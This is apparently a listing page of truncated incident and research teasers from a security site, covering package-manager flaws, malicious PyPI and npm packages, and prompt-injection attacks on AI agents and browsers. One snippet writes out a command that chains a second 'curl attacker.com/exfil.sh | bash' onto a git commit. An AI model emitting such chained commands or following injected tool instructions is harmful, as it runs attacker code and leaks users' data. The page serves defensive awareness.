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IncidentCritical Vulnerabilities in Bower Security researchers have identified critical vulnerabilities in Bower, a web package manager, that allow attackers to write arbitrary files to the filesystem during
IncidentWhat Happened Between March 27 and April 15, 2026, attackers exploited CVE-2026-33017 , a critical remote code execution vulnerability in Langflow with a CVSS score of 9.3, to deploy Monero mining sof
IncidentIn October 2024, LayerX security researchers disclosed a prompt injection vulnerability named BioShocking. This attack tricks AI-powered browsers into executing malicious actions by framing them as pa
IncidentWhat Happened An AI agent leaked sensitive data by following instructions embedded in a malicious tool description. The agent operated within its parameters, without breaking rules or bypassing authen
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IncidentUnderstanding the Vulnerability On January 16, 2019, a vulnerability in NumPy was reported, allowing arbitrary code execution through unsafe handling of pickled objects. This flaw affects NumPy versio
ResearchYour AI coding agent just suggested running git commit -am fix bug . Looks innocent. But what if the agent was compromised to suggest git commit -am fix bug ; curl attacker.com/exfil.sh | bash ? Resea
IncidentWhat Happened Researchers at Wake Forest University tested 444 iOS AI chatbot applications and found that 282 of them—63%—transmitted API keys in plaintext through network traffic. These keys granted
IncidentWhat Happened Attackers published at least eight malicious packages to the Python Package Index (PyPI), each pretending to be a legitimate fork of Pyrogram, a popular Python framework for building Tel
IncidentWhat Happened Mozilla s Zero Day Investigative Network (0DIN) documented an indirect prompt injection attack against Claude Code, an AI-powered coding assistant. A developer used the agent to interact
IncidentThe Growing Security Debt in AI Organizations rushing to deploy AI features are creating a security backlog they cannot manage. According to Cobalt s AI and Pentesting Pulse Report 2026, AI and LLM ap
GeneralIf you ve ever watched a junior pentester run Nmap without understanding what they re looking for, you ve seen the problem AI-driven security tools must solve. Automation without reasoning creates noi
IncidentThe Issue at Hand Between 2017 and 2018, ReDoS (Regular Expression Denial of Service) vulnerabilities in npm packages surged by 143%. This wasn t an isolated incident but a widespread issue across the
IncidentUnderstanding the Vulnerability On February 11, 2019, security researchers disclosed CVE-2019-5736 , a critical vulnerability in runC that allows a malicious container to overwrite the host s runC bin
IncidentThe Growing Threat of Third-Party Library Vulnerabilities Between 2022 and 2024, vulnerabilities in application libraries surged by 88%. This isn t just a story of breaches—it s about the growing tech
IncidentThe Hidden Risk in Your Dependency Tree Snyk s analysis of over one million open source projects revealed a significant supply chain issue: 78% of vulnerabilities exist in indirect dependencies—the pa
IncidentOn May 25, 2026, attackers uploaded compromised npm packages that exploited Visual Studio Code to deploy InvisibleFerret, a Python-based information stealer. The attack targeted developers on Windows,
